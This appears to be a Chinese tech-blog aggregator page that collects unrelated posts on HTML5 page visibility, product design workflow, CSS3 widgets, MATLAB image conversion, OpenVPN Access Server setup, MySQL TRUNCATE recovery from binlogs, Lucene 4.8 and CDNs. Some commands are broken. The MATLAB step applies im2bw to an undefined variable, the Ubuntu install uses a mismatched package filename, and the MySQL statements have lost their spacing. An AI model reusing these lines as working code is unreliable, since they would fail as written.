  如果佩奇的表达更清楚,其中一些想法会令人们害怕。毕竟,他每年都会把数十亿美元投入到快速实现这些梦想的努力中。他曾多次表示,谷歌应当聘请100万名工程师。谷歌有这么多资金,这并非不可能。

  佩奇希望创造出普遍连接的人工智能,并理解和满足我们的需求。但是这样做的目的并不针对人类,对于世界而言,这是一个好消息。从内心来讲,佩奇是一个热情的乌托邦主义者,他坚信科技已经极大改善了人们的生活,并将继续改善。

  在2013年谷歌大会的问答环节,佩奇对与会者说,未来人们回顾今天的生活,就像我们回顾老祖宗每天用大量的时间来打猎和农耕一样,感觉非常“疯狂”。

  “你所想象到的任何事都有可能是可行的,”佩奇在2012年对谷歌投资者说,“你只需要想象,然后为此努力。”(小贝 编译,创业邦有删节)

使用HTML5里页面可见性接口判断用户是否正在观看你的页面

$
0
0

长期以来我们一直缺少一个判断用户是否正在浏览某个指定标签页的方法。用户是否去看别的网站了?他们切换回来了么?现在,HTML5里页面可见性接口就提供给了程序员一个方法,让他们使用 visibilitychange页面事件来判断当前页面可见性的状态,并针对性的执行某些任务。同时还有新的 document.hidden属性可以使用。

document.hidden

这个新出现的 document.hidden属性,它显示页面是否为用户当前观看的页面,值为ture或false。

document.visibilityState

visibilityState的值要么是 visible (表明页面为浏览器当前激活tab,而且窗口不是最小化状态),要么是 hidden (页面不是当前激活tab页面,或者窗口最小化了。),或者 prerender (页面在重新生成,对用户不可见。).

visibilitychange事件

监听页面可见性变化非常容易:

// 各种浏览器兼容
var hidden, state, visibilityChange; 
if (typeof document.hidden !== "undefined") {
	hidden = "hidden";
	visibilityChange = "visibilitychange";
	state = "visibilityState";
} else if (typeof document.mozHidden !== "undefined") {
	hidden = "mozHidden";
	visibilityChange = "mozvisibilitychange";
	state = "mozVisibilityState";
} else if (typeof document.msHidden !== "undefined") {
	hidden = "msHidden";
	visibilityChange = "msvisibilitychange";
	state = "msVisibilityState";
} else if (typeof document.webkitHidden !== "undefined") {
	hidden = "webkitHidden";
	visibilityChange = "webkitvisibilitychange";
	state = "webkitVisibilityState";
}

// 添加监听器,在title里显示状态变化
document.addEventListener(visibilityChange, function() {
	document.title = document[state];
}, false);

// 初始化
document.title = document[state];

上面的代码会在页面可见性发生变化时修改 document.title的值!

那么,什么时候需要使用 visibilitychange事件呢?比如,如果你的页面上有嵌入视频正在播放,当用户切换到其它标签页时,你的标签页上的视频应自动暂停播放,当用户切换回来时继续接着播放。再比如,如果你的页面有自动刷新动作,当用户切换到其它标签页时,你就应该停止刷新,而当用户切换回来时继续之前的动作。

你应该知道的产品设计14步

$
0
0

我在Dribbble上发布作品之后,收到了许多积极反馈和问题,这也促使我动笔写这篇文章,跟大家聊聊我做产品设计两年来的经历和思考。

说来惭愧,在产品设计上我一直沿用相同的设计流程,不过在我看来,它可能确实接近于理想的状态。我将这些技巧划分为四个部分:预处理、工作过程、后期处理以及效率技巧。下面让我为你一一道来。

A、预处理

1、绘制草图

绘制草图其实没那么多讲究,用一张纸还是一个本子都无所谓,哪怕是手边的一份传单都没问题,最重要的是要将脑海中的想法诉诸笔头,记录下来。只有画出来,才能真正记住它们,不被遗忘。因此,我们可能需要保存一堆记录着点滴灵感的报纸、账单、杂志封面甚至餐巾纸(笑)。

02

灵感的草稿本

不过对我而言,最理想的载体还是实实在在的东西,比如Moleskine的笔记本。我特别喜欢时不时翻看我记录在其中的想法和灵感。如此,我便可以回顾曾经的想法,并借此调整甚至重塑此刻手头项目的设计思路,或者延伸出更多的想法。

2、搜集图片

“艺术家是收藏者,而非囤积者。要知道,这两者有个区别:囤积者会无选择地收纳,而艺术家则选择性地收藏。艺术家只会搜集自己真正热爱的东西。”——Austin Kleon《像艺术家一样偷窃》

03

预处理的第二个阶段是搜集图片,这也是我每天都做的事情。数以百计的风格,成千上万的图片充斥网络,但是我特别喜欢的还是老派的风格。我会在Dropbox中为这些图片分门别类(Dashboard、iOS、插画,等等)。当我拿到需求或开始项目的时候,会通过这些图片来寻找灵感。Dropbox会预先同步好所有图片内容,因此无需联网你就可以随时随地查看它们。 (另外,小编也一如既往的推荐国内人气设计师网址导航:http://hao.uisdc.com/ 里面有全球最赞的12个图库资源)

3、Moonboard与准备工作

我们可以通过很多网站获取灵感——Dribbble、Behance、Pttrns、Pinterest等等,我们常常可以从中找到别人做的类似项目。此外,也许别人正在试图解决与你相同的问题,因此,你也可能从中受益。

做好Moodboard很有必要。

什么是Moodboard?Moodboard是指经由对使用对象与产品认知的色彩,影像,数字资产或其它材料的收集,可以引起某些情绪反应,作为设计方向与形式的参考。

当我开始一个新项目的时候,我总会准备一个文件夹来收纳相关信息,PSD、截图、灵感以及资源各一个文件夹。其中,名为灵感的文件夹中收纳着我从网上搜集的、与项目相关的所有的文件,用以激发我的灵感,这就是我的Moodboard。

04

这个文件夹里面应该包含从基础色版,到Behance上完整的案例研究等各种类型的信息。如果这是一个涉及用户信息的APP,那么你还应该有吸引人的人物照片。有时候我用不到这个文件夹,当然,那是另外一种情况了。

B、工作过程

4、我不在意线框图的质量

我并不是那种花费半年来打磨线框图原型的人。如果客户能预先准备了线框图那就最好了。

好的客户会在准备好自己的想法和思路,甚至会画在纸上。用线框图原型举例,并不是想说它,我只是强调深入理解产品本身非常重要。你的UI/UX技能、想要表达的想法与你本身才是决定最终产品的因素。借助线框图,你可以了解客户的想法,弄清楚需要几屏来构成整个应用。借此,你也会更加了解应用本身。

有一种情况绝对是设计师的噩梦:客户希望将线框图1:1地输出成最终产品,分毫不改。客户您好,您是猴子请来的逗比么?这哪里是设计师干的事情啊?所以,当你碰到这样的项目的时候,尽快搞定,然后像博尔特一样奔跑着远离这个项目,划清界限。

5、大尺寸PSD背景

7个月前我刚开始在Badoo工作时,看到同事Sasha的工作过程时就在想,这哥们恐怕完全不明白Photoshop是怎么工作的吧?不过现在我正准备用他的方式来作图,因为这种模式更对我的胃口:当你正在做一整个APP或者信息量较大的Dashboard的时候,使用大尺寸背景能更好地设计界面。

在创建新的PSD文件时,我基本上会将背景设置成8000×5000像素的大小。要知道,我不仅仅只是创建一套UI kit,在大背景下工作时我能看到每一个元素相互之间的搭配,体会每一个界面状态的差别。此外,用这种方式来设计,还可以非常轻易地截取小图或某一状态/阶段下的产品图片给开发者。

6、用一个PSD收纳所有界面

当我做一个普通的APP界面的时候,我也会用到其他APP的UI界面。这个时候,我更喜欢其他所有的界面都存在于一个PSD中,即使它们不是同一个产品的。

05

我很清楚,这种情况下先用Sketch会很有帮助,但是我更喜欢使用Photoshop,并将大量不同UI的源文件置于一个PSD当中,而非几十个单独文件。如此一来,我可以直接快速地从一个UI中选择图层拖放到当前的界面中,而无需在几十个不同PSD文件中慢慢找某一图层。

7、文件夹与规范

从各个角度上而言,我都是一个整洁的人——桌面上只有图标,每个项目每个客户都有单独的文件夹。我每个文件夹都是依据相同规则整理好内容,就像我的PSD的图层结构一样。我的每个PSD结构都非常清晰,我整理它们的时候,一旦发现一个文件夹的图层超过8个,就会创建新的文件夹,将不同属性的图层区分开,归纳好。我会将PSD图层整理得井井有条,仿佛随时迎别人检阅一样。我不用为每个图层单独命名,因为你可以很轻易地通过我的文件夹命名和结构来了解每个图层的功用。

最近我开始同@LukášKus一同工作的时候,他老是抱怨他在AE中没有这样的结构化文件夹。你看,这很重要吧?

如果你想知道更多PSD礼仪,不妨看看PSD礼仪白皮书。

8、与朋友交流

朋友们对产品设计的反馈,对我而言是至关重要的信息。我可以很轻易地创建一组小型的用户测试,并且倾听朋友们反馈它们碰到的问题,以及修改意见。这些想法常常能为解决问题开拓思路打开一扇全新的门,我会在产品开发的各个阶段进行这样的测试,获取反馈。此外,这种测试谁都可以参与,不过我一般会将被测试者分为两个部分:来自社区的UX设计师以及普通用户。这主要是因为产品受众常常是普通用户,而非设计师。

9、界面设计

当我或者客户准备好线框图原型之后,我更倾向于将它们合并到一个PSD文件中去。接下来,我会琢磨界面交互,点击不同的地方会产生什么效果。在这个过程中,我们常常能发现缺失的环节和需要补充的界面,以及其他的错误,这些都是客户和我们最初考虑不周全的地方。如此一来,我便可以将所有的界面和元素放在一起,综合起来看。当我面对一个拥有15屏的APP界面设计稿的时候,就会发现让它们保持统一风格是一件很难的事情,最初的设计准则也因此需要调整。

三种不同的标识线,第一种是带数字标号指向下一屏的,第二种是屏内指引线,第三种是指向外部应用和链接的线。

06

07

含联系人的预览图

08

完整预览图

关于样式——我所使用的原型设计样式和很多设计师差不多,但是比起耗费大量的时间去绘制复杂的指引线展示交互过程,我更愿意使用代表下一屏的数字标号和简单直观的指引线来展示我的设计。这种方式有点儿像过去老范儿的游戏说明书,但是它比起印刷电路板般的指引线地图要好的多。如此一来,你便可以在整张图上看到更多有效的信息。

为此我附上 PSD,让你更容易理解我的想法。

C、后期处理(设计规范)

终于接近尾声了,最后一个部分是创建设计规范,检查并确保视觉的一致性。事实证明,这一环节是项目中极为重要的一个部分,不论项目是大是小。在大型项目中,如果要改变某些组件的属性,通常我是无法100%确定是不是把所有相关组件都改过来了。有了设计准则之后,我们就能确保UI中不会出现50种不同浓淡的灰色和14种不同尺寸的字体。

10、色彩规范

做好色彩规范是我谨记的第一要务。在扁平化设计风行的今天,我们终于可以尽可能少地为按钮和文本设定色彩规格。你可以在PSD中创建类似Photoshop调色版一样的色彩规范图。

09

11、版式规范

另一个重要规范就是版式和字体的规范。将每个组件所涉及的字体、字号、粗细、字距、行距等等都明确地标识在PSD中,这将极大地减轻设计师和开发者在规范化上的负担。

10

12、UI Kit

当讨论APP与网站的一致性的时候,UI Kit就显得极为重要了。同时,如果你身处设计师团队中或者与前端工程师协作的时候,UI Kit一样是不可或缺的。有了这份标准化的文档,设计师可以随时随地的抓取UI元素创建新的界面,而前端工程师也能清晰地了解每个UI元素的样式,不用隔三差五跑来问设计师了 。

值得注意的是,很多大公司依然未曾注意产品的UI元素统一性的问题,CSS样式一次又一次地重写,你会发现同一个按钮在三个不同程序中有三种截然不同的说明,甚至截然不同的样式。因此,千万不要忘记保持一致性。

D、效率技巧

13、todo

我保持一切井井有条的秘诀在于使用 todo list。使用什么样的APP并不重要,重要的是执行。我喜欢Cultured Code出品的效率工具Things,偶尔也喜欢用纸张记录各种待办事项。完成所有代办事项的感觉非常棒。我曾经沉迷于接手所有发送到我收件箱的项目,但是现在我才发现,最畅快的还是一次专注于1-2个项目,并且100%地完成它们之后,再开始新的项目,这比起同时奋斗5个不同项目来的更加高效靠谱。

“如果你同时追两只兔子,你将空手而归。”——Russian Proverb

14、目标

明确自己的目标是挺好的,但是千万不要受到它的束缚。我会给自己做两周内的计划(就像短跑),并定下季度目标。同时,我会让自己尝试新的事务,并设定可达成的目标(比如使用AE做自己的第一个动画),并同时不断完善手头的项目直至完成(例如完成2个Behance案例研究)。

还有什么?

我不用鼠标,只用触控板,并且学会了所有的快捷键。我使用Skala Preview将Photoshop上的显示内容输出到iPhone上。目前我还在学习AE和Sketch。创建原型的时候,我使用InVision来处理网页设计的项目,而iOS程序则使用最新的MarvelAPP来应对。对我而言,使用纸笔设计UI比在iPhone上拖拽来的更快。有时候我依然会用PopApp来创建早期原型。

最后几句话

让我严格依照上面的流程来处理每一个项目的确不现实,因为有的项目一开始就有思路和想法,我会跳过上面的某些流程直接开工。

在我曾经工作的公司里,我从未体验过真正的信息反馈。设计师能从用户测试和信息反馈中了解更多并从中受益,这些信息能促使他们思考新项目,完善老项目。尤其是在用户测试的环节,设计师收到的反馈会刷新它们对于产品本身的认知,因为他们终将发现,很多普通用户压根不会按照设计师的设计来使用APP。

来源: 优设
作者:Jan Loser

© 推荐 for 互联网的那点事. | 猛击下载: iPhone客户端猛击下载: Android客户端

12款实用的HTML5干货分享

$
0
0

今天我们要来分享12款实用的HTML5应用插件,内容涉及到按钮、表单、进度条、图片等,大家一起来看看这些干货吧。

1、漂亮的CSS3动画进度条 可自定义进度条颜色

今天我们要再来分享一款很漂亮的CSS3动画进度条,我们可以用它来显示每一项数据的所占的比例,效果很不错。之前我们也有分享过很多功能强大的CSS3进度条,像 纯CSS3进度条 华丽5色进度条示例CSS3 SVG 进度条 Loading 动画 炫酷发光特效都和今天分享的这款比较类似,可以看看。

css3-skill-progress-bar

在线演示         源码下载

2、CSS3垂直图标菜单 带Tooltip提示框

今天我们要来分享一款CSS3菜单,菜单外观很漂亮,是垂直排列的小图标,鼠标滑过菜单项时,菜单项的背景会填充渐变的颜色,另外还会弹出该菜单项描述的Tooltip提示框。之前我们也分享过很多CSS3垂直菜单,像这款 CSS3二级下拉动画菜单 菜单背景滑动动画纯CSS3垂直动画菜单等都是非常不错的CSS3垂直菜单按钮。

css3-ver-nav-with-icon

在线演示         源码下载

3、纯CSS3背景渐变按钮 按钮图标淡入淡出动画

今天我们要再来分享一款纯CSS3实现的按钮动画,这款按钮动画有以下特点:当鼠标滑过按钮时,按钮上的小图标便会以爆炸的方式淡出按钮,取代它的时相应的文字,当鼠标离开按钮时,小图标又会以爆炸的方式淡入按钮中。更多CSS3按钮,我们可以在 CSS3按钮栏目中查找。

css3-icon-animation-button

在线演示         源码下载

4、HTML5 3D立方体旋转动画

之前我们已经分享一款 HTML5 3D正方体旋转动画,可以切换至正方体的任意一面。今天我们再来分享一款绚丽的HTML5 3D立方体旋转动画,这款立方体的色彩看上去非常艳丽,旋转起来的动画效果也十分流畅。是一款很不错的HTML5 3D动画效果。

html5-3d-cube

在线演示         源码下载

5、动感的CSS3 Loading文字特效

这是一款非常帅的CSS3 Loading加载动画,尽管看上去只有Loading这几个字母,但是利用CSS3特性,可以把这几个字母渲染得非常动感。和之前推荐的CSS3 Loading动画 纯CSS3加载Loading动画图不同,这款Loading动画仅仅几个字母就可以展现令人震撼的效果。

css3-loading-text-animation

在线演示         源码下载

6、CSS3多样式小图标按钮 带分享按钮

今天我们要来分享一款样式非常丰富的CSS3按钮特效,这些按钮的外观有点仿谷歌的风格,而且每一个按钮带有个性的小图标。另外按钮有一个特点,还可以定制出不错的分享按钮。之前我们也分享过不少漂亮的CSS3按钮,大家可以在 CSS3按钮目录下查看。

css3-button-with-icons

在线演示         源码下载

7、纯CSS3实现滑杆开关切换按钮动画

之前我们分享过一些CSS3开关切换按钮了,像这款 CSS3 3D发光切换按钮HTML5/CSS3开关按钮 立体3D按钮等。今天我们要再来分享一款纯CSS3实现滑杆开关切换按钮动画,这个按钮是一个摇杆,杆子推上推下来切换开关状态,不同的开关状态也有不同颜色的指示灯。

css3-stick-switch

在线演示         源码下载

8、HTML5/CSS3牙刷动画 模拟真实刷牙效果

今天我们再要来分享一款不错的HTML5/CSS3动画效果,你一个可爱的牙刷,牙刷外观是利用纯CSS3绘制出来的,也比较简单。另外是刷牙动画,看起来非常搞笑,像真的刷牙一样,左刷刷,右刷刷,非常可爱的牙刷动画。

html5-css3-toothbrush

在线演示         源码下载

9、CSS3可视化网页编辑器 基于tinymce编辑器

上次我们分享过一款网页编辑器 jQuery轻量级网页编辑器 选中即可编辑,配置比较简单。今天我们要来分享一款基于tinymce的CSS3可视化网页编辑器,编辑器功能相当完善,可以对文本进行各种操作,也可以添加链接和对齐文本。是一款功能更加强大网页编辑器。

html5-css3-json-editor

在线演示         源码下载

10、CSS3实现一款联系表单 输入框带小图标

之前我们已经分享过一款非常漂亮的CSS3联系表单 CSS3联系表单 背景透明迷人,有兴趣的朋友可以去看一下。今天我们再来分享一款外观还不错的CSS3联系表单,这款CSS3联系表单的输入框带有小图标,并且在提交信息时能校验输入的信息。

css3-contact-form

在线演示         源码下载

11、HTML5/CSS3多颜色柱状图表 带基准数据线

之前我们分享过几款很不错的HTML5柱状图表,像 HTML5柱状图表 可合并多张图表的数据HTML5/CSS3水平柱状图表。这次要分享的HTML5柱状图表也非常不错,它有多种颜色来表示不同的数据。最大的特点是这款HTML5带有基准数据线,可以直观地看到每个数据项相对基准值的偏差。

css3-animated-progress-bar

在线演示         源码下载

12、HTML5/CSS3图片描述效果 文字描述浮动在图片上

今天要分享一款基于HTML5和CSS3的图片特效,该图片特效非常实用,可以让你网页上的图片在鼠标滑过时在图片上方浮现一些描述文字,该描述文字在展现出来的时候有淡入淡出的动画效果,同时描述文字的样式也可以自定义多样化,是一款非常不错的 HTML5图片特效

css3-image-caption-animation

在线演示         源码下载

以上就是12款实用的HTML5干货,欢迎收藏分享。

matlab各类数据l图像之间的转化

$
0
0

matlab各类数据图像之间的转化

rgb类型转化为二值的过程如下:
1、采用命令im2double将rgb类型转化三维的double
>> str='E:\programing\Eigenface_PAC\Face\image_0001.jpg';
>> A=imread(str);
>> imshow(A);

2、用命令imresize调整图像的尺寸大小
>> B=imresize(A,[529 529]);
>> imshow(B);

3、用im2double命令将图像转换为三维double类型图像
>> C=im2double(B);
>> imshow(C);

此时,图像变为三维的double类型图像。
4、用命令rgb2gray将上述三维double类型图像转化为二维的double类型灰度图像
>> D=rgb2gray(C);
>> imshow(D);
5、用命令im2bw将二维的灰度图像转化为二值图像
>> E=im2bw(E);
>> imshow(E);


作者:liyuanhao1114 发表于2014-4-30 2:37:07 原文链接
阅读:32 评论:0 查看评论

使用 OpenVPN Access Server 轻松搭建 VPN 服务器

$
0
0

标签:   OpenVPN   VPN

   平时很少用 VPN,需要的时候一般用 ssh -D 搞定,或者 sshuttle也是个不错的工具。自己配置 OpenVPN 虽然不是很麻烦,但对第一次配置 VPN 的新手来说还是挺费神费事的,如果急用或者怕麻烦的话可以选用 OpenVPN 的商业收费版本 OpenVPN Access Server,其免费的 license 可以支持2个 VPN 用户的同时在线,对个人用户来说足够用了。OpenVPN Access Server 装完即可用,无需配置。

安装

   在 CentOS 6.x 上下载和安装 OpenVPN Access Server:

# yum update
# yum upgrade

# wget http://swupdate.openvpn.org/as/openvpn-as-2.0.7-CentOS6.i386.rpm

# rpm -ivh openvpn-as-2.0.7-CentOS6.i386.rpm
Preparing...                ########################################### [100%]
   1:openvpn-as             ########################################### [100%]
The Access Server has been successfully installed in /usr/local/openvpn_as
Configuration log file has been written to /usr/local/openvpn_as/init.log
Please enter "passwd openvpn" to set the initial
administrative password, then login as "openvpn" to continue
configuration here: https://173.252.243.254:943/admin
To reconfigure manually, use the /usr/local/openvpn_as/bin/ovpn-init tool.

Access Server web UIs are available here:
Admin  UI: https://173.252.243.254:943/admin
Client UI: https://173.252.243.254:943/

# passwd openvpn

   在 Ubuntu 14.04 上下载和安装 OpenVPN Access Server(写这篇文章的时候 Ubuntu 14.04 刚刚发布,for Ubuntu 14.04 的官方版本还没有出来,可以使用 Ubuntu 13.10 的):

$ sudo apt-get update
$ sudo apt-get upgrade
$ sudo apt-get install iptables
$ wget http://swupdate.openvpn.org/as/openvpn-as-2.0.7-Ubuntu13.i386.deb
$ sudo dpkg -i openvpn-as-2.0.7-Ubuntu12.i386.deb
$ sudo passwd openvpn

使用

   打开管理界面 https://173.252.243.254:943/admin 使用用户名 openvpn 和密码登录,进去随便看一下就可以了,不用做任何配置就可以用:

    OpenVPN Access Server


   打开客户端界面 https://173.252.243.254:943/ 使用用户名 openvpn 和密码登录后下载 OpenVPN Connect for Mac OS X 客户端,安装后点击连接就可以用了,很方便。

    OpenVPN Access Server


   如果你想使用其他的 OpenVPN 客户端的话,比如 Tunnelblick,就需要下载客户端的配置文件 Yourself (user-locked profile) 或者 Anyone at this server (server-locked profile). 下载后的文件名是 client.ovpn,这个文件稍后会在配置 Tunnelblick 时用到。

    Tunnelblick是 Mac 上比较流行的一个开源 OpenVPN 客户端,另一个好用的客户端 Viscosity 是收费的。

   下载 Tunnelblick 后安装,然后导入刚才下载的 client.ovpn 配置文件就可以了,导入的方法比较奇怪,桌面上会自动创建一个 Empty Tunnelblick VPN Configuration 文件夹,把 client.ovpn 拖进去后重命名文件夹(注意是文件夹不是文件)为 Empty Tunnelblick VPN Configuration.tblk 后双击文件夹导入,导入后点击 Connect 会弹出登录对话框,输入用户名 openvpn 及其密码就可以了。

    OpenVPN Access Server



您可能还对下面的文章感兴趣:

  1. CentOS5.3下安装pptpd提供VPN服务 [2011-09-19 23:36:35]
  2. Linux(CentOS5.4)系统下安装VPN(pptp)最终版 [2010-03-05 08:53:32]
  3. 如何快速搭建一个VPN(pptp) [2010-03-03 09:16:05]
  4. Linux 安装pptp vpn client [2010-03-02 13:48:57]
  5. 如何快速搭建一个VPN(pptp) [2009-11-17 23:17:32]

记录一次truncate操作数据恢复

$
0
0

实际线上的场景比较复杂,当时涉及了truncate, delete 两个操作,经确认丢数据差不多7万多行,等停下来时,差不多又有共计1万多行数据写入。 这里为了简单说明,只拿弄一个简单的业务场景举例。

测试环境: Percona-Server-5.6.16
日志格式: mixed 没起用gtid

表结构如下:

CREATETABLE`tb_wubx`(`id`INT(11)NOTNULLAUTO_INCREMENT,`name`VARCHAR(32)DEFAULTNULL,PRIMARYKEY(`id`)) ENGINE=InnoDB AUTO_INCREMENT=2DEFAULT CHARSET=utf8

基于某个时间点有一个备份或是有全量的binlog是能恢复数据的一个唯一保证。 例如我们的备份就是一个表结构创建语句,binlog pos相关信息: mysql-bin.000004 , 4,然后进行了如下:

-t1时间 程序写入:
insert into tb_wubx(name) values(‘张三’),(‘李四’);
insert into tb_wubx(name) values(‘隔壁老王’);
-t2时间 某个人员失误
truncate table tb_wubx;
-t3时间 程序写入
insert into tb_wubx(name) values(‘老赵’);
update tb_wubx set name=’老赵赵’ where id=1;

现在表里的数据情况:

mysql>SELECT*FROM tb_wubx;
+----+-----------+| id | name |+----+-----------+|1| 老赵赵 |+----+-----------+1ROWINSET(0.00 sec)

可以见truncate table操作后,表的自增id又变更为从1开始,原来写入的数据应该是:
+—-+———-+
| id | name |
+—-+———-+
| 1 | 张三 |
+—-+———-+
| 2 | 李四 |
+—-+———-+
| 3 | 隔壁老王 |
+—-+———-+

如果没生truncate table操作,实际的数据应该为:
+—-+———-+
| id | name |
+—-+———-+
| 1 | 张三 |
+—-+———-+
| 2 | 李四 |
+—-+———-+
| 3 | 隔壁老王 |
+—-+———-+
| 4 | 老赵赵 |
+—-+———-+

而且线上的恢复那个表时和序序开发人员了解才知道,原来那个id和缓存及其它地方有依赖,因为id乱了,也会造成程序错乱。这个时间修复id在程序层错乱的事,留给开发人员了关建是给他们讲明白恢复的结果是什么样,我们的关建任务是把数据恢复出来。好,接下来的工作是开始从binlog中恢复数据。
利用: show binary logs; 查看当的log文件分布, 然后利用show binlog events in ‘binary log文件’; 查看log文件的内容,目的是找到truncate发生的日志位置。
另外因为基于备份(由log的启始位置)或是从量log, 如果基于备份有log的起始位置,我们需要处理的log文件是启始位置到发生truncate的日值(后面的数据处理不了,会发生主建冲突的错误造成truncate后的数据不能恢复),
如果是全量日志,需要从创建完mysql后库后的日志去处理到当前的发生truncate的位置(后面数据会因为主建冲突写不进去)
恢复准备工作,创建一个库用于恢复数据,这里创建了一个re_wubx, 及原结构的表: tb_wubx (相当于恢复了备份,过程省略)
作者:吴炳锡 来源:http://www.mysqlsupport.cn/ 联系方式: wubingxi#gmail.com 转载请注明作/译者和出处,并且不能用于商业用途,违者必究.

mysql>SHOWBINARY logs;
+------------------+-----------+| Log_name | File_size |+------------------+-----------+| mysql-bin.000001 |143|| mysql-bin.000002 |261|| mysql-bin.000003 |562|| mysql-bin.000004 |1144|+------------------+-----------+4ROWSINSET(0.00 sec)

我这里有一个备份文件就是那个创建表的sql语句,位置是mysql-bin.000004 , 4
在这个案例里我只用cover住mysql-bin.000004这个文件。

mysql>SHOW binlog events IN'mysql-bin.000004';
+------------------+------+-------------+-----------+-------------+----------------------------------------------------+| Log_name         | Pos | Event_type    | Server_id   | End_log_pos | Info |+------------------+------+-------------+-----------+-------------+----------------------------------------------------+| mysql-bin.000004 |4| Format_desc   |753306|120| Server ver: 5.6.16-64.2-rel64.2-log, Binlog ver: 4|| mysql-bin.000004 |120| Query         |753306|209|USE`wubx`; TRUNCATETABLE tb_wubx || mysql-bin.000004 |209| Query         |753306|281|BEGIN|| mysql-bin.000004 |281| Table_map     |753306|334| table_id: 91(wubx.tb_wubx)|| mysql-bin.000004 |334| Write_rows    |753306|393| table_id: 91 flags: STMT_END_F || mysql-bin.000004 |393| Xid           |753306|424| COMMIT /* xid=1073 */|| mysql-bin.000004 |424| Query         |753306|496|BEGIN|| mysql-bin.000004 |496| Table_map     |753306|549| table_id: 91(wubx.tb_wubx)|| mysql-bin.000004 |549| Write_rows    |753306|602| table_id: 91 flags: STMT_END_F || mysql-bin.000004 |602| Xid           |753306|633| COMMIT /* xid=1074 */|| mysql-bin.000004 |633| Query         |753306|722|USE`wubx`; TRUNCATETABLE tb_wubx || mysql-bin.000004 |722| Query         |753306|794|BEGIN|| mysql-bin.000004 |794| Table_map     |753306|847| table_id: 92(wubx.tb_wubx)|| mysql-bin.000004 |847| Write_rows    |753306|894| table_id: 92 flags: STMT_END_F || mysql-bin.000004 |894| Xid           |753306|925| COMMIT /* xid=1081 */|| mysql-bin.000004 |925| Query         |753306|997|BEGIN|| mysql-bin.000004 |997| Table_map     |753306|1050| table_id: 92(wubx.tb_wubx)|| mysql-bin.000004 |1050| Update_rows  |753306|1113| table_id: 92 flags: STMT_END_F || mysql-bin.000004 |1113| Xid          |753306|1144| COMMIT /* xid=1084 */|+------------------+------+-------------+-----------+-------------+----------------------------------------------------+19ROWSINSET(0.00 sec)

看到这个表刚开始就发生一次truncate, 那其实也可以说明我就恢复刚开始那个truncate到后来那个误操作的truncate table的语句之间的数据就是丢失的数据。
这个恢复可以从mysql-bin.000004 pos: 4到mysql-bin.000004 pos: 633 即:

mysqlbinlog --rewrite-db='wubx->re_wubx' --start-position=4 --stop-position=633 mysql-bin.000004 |mysql -S /tmp/mysql.sock re_wubx

恢复结果如下:

mysql -S /tmp/mysql.sock re_wubx;
mysql>SELECTCOUNT(*)FROM tb_wubx;
+----------+|COUNT(*)|+----------+|3|+----------+1ROWINSET(0.02 sec)
mysql>SELECT*FROM tb_wubx;
+----+--------------+| id | name |+----+--------------+|1| 张三 ||2| 李四 ||3| 隔壁老王 |+----+--------------+3ROWSINSET(0.00 sec)
 
mysql>INSERTINTO tb_wubx(name)SELECT name FROM wubx.tb_wubx;
Query OK,1ROW affected (0.00 sec)
Records: 1 Duplicates: 0 Warnings: 0
mysql>RENAMETABLE wubx.tb_wubx TO wubx.bak_tb_wubx;
Query OK,0ROWS affected (0.04 sec)
mysql>RENAMETABLE re_wubx.tb_wubx TO wubx.tb_wubx;
Query OK,0ROWS affected (0.03 sec)
mysql>SELECT*FROM wubx.tb_wubx;
+----+--------------+| id | name |+----+--------------+|1| 张三 ||2| 李四 ||3| 隔壁老王 ||4| 老赵赵 |+----+--------------+4ROWSINSET(0.00 sec)

恢复完成。
想一想,如果我跳过那个truncate继续执行那些binlog会怎么样 ?

猜您喜欢


[原]Lucene 4.8.0 发布了,变化一如既往的大,新特性一一解读

$
0
0

Lucene 4.8.0 发布了,变化一如既往的大,新特性一一解读



    10年之前, 你是1.0; 10年之后,你是4.8 。放在10年这个时间跨度上看,也许变化就没那么大了。


    看看这次发布有哪些变化吧:


    1、Apache Lucene 现在要求Java的最低版本为:Java 7 , update 55 ;推荐使用 Oracle Java 7 或 OpenJDK 7 ,之前版本的JVM bug 会影响到lucene。


    2、Apache Lucene全面兼容 Java 8。


    3、所有的索引文件开始存储checksums,在索引合并和读取的时候进行有效性检查。减少出现某个索引文件(物理)损坏带来的问题,主要是针对硬件或者JVM bug 引起的索引损坏。


    4、提供了针对第一次搜索结果集合的重打分(权重调整)API;相当于对搜索结果的二次自定义排序。

    5、AnalyzingInfixSuggester 类提供了支持NRT的自动建议功能。

    6、把基于批量处理的打分过程 bulk scoring 和基于迭代的打分过程分离了,这对于批量打分的过程更高效一些。

    7、在建立索引的时候针对Hash term 使用了 MurmurHash3 的hash方法,很高效的方法。

          http://zh.wikipedia.org/wiki/Murmur%E5%93%88%E5%B8%8C

    8、 IndexWriter现在支持更新二进制类型的字段了。


    9、优化了 HunspellStemFilter  占用内存的大小(10至100倍的减少)
          Hunspell 是一种检查拼写spellcheck流行的方法, OpenOffice中就用了它来进行拼写检查。
          HunspellStemFilter  是TokenFilter的扩展,可以用这个算法来过滤词的不同变形(时态,语气等)。
          中文的Token应该享受不到这个特性。
          http://en.wikipedia.org/wiki/Hunspell


     10、Lucene现在使用Java 7中的文件系统函数,比如即使在索引打开的时候,也可以删除索引文件。

     11、修复了NativeFSLockFactory 中的一个严重的bug :允许多个IndexWriter获得一个lock。
             所以强烈建议升级到 lucene 4.8 。

            

    参考:

            1、 http://lucene.apache.org/core/4_8_0/changes/Changes.html#v4.8.0.new_features

             2、 Lucene 4.0 正式版发布,亮点特性中文解读

             3、欢迎订阅作者 微博

作者:accesine960 发表于2014-4-29 22:25:02 原文链接
阅读:147 评论:0 查看评论

金山面试CDN

$
0
0

History

今天去金山网络面试的时候,被问到 性能优化,我说了几个,最后说到了 CDN,我说要尽量把静态的内容放置到CDN,但是为什么呢?面试官说既然你说到CDN,你就说说它的原理。之前有看过,但是忘记差不多了。

Summary

按我个人理解来说它是遵循就近原则,给用户找到最近的服务器来提供用户的静态内容,比如CSS文件、图像等,来提高用户访问网站的响应速度。

A content delivery network (CDN) is a system of distributed servers (network) that deliver webpages and other Web content to a user based on the geographic locations of the user, the origin of the webpage and a content delivery server.This service is effective in speeding the delivery of content of websites with high traffic and websites that have global reach. The closer the CDN server is to the user geographically, the faster the content will be delivered to the user. CDNs also provide protection from large surges in traffic.

上面说了内容分发网络是基于用户的地理位置、网页的源地址还有就是一个内容分发服务器。距离CDN服务器越近的用户,就能越快地获取到静态内容

description

有比较才有感觉到区别!

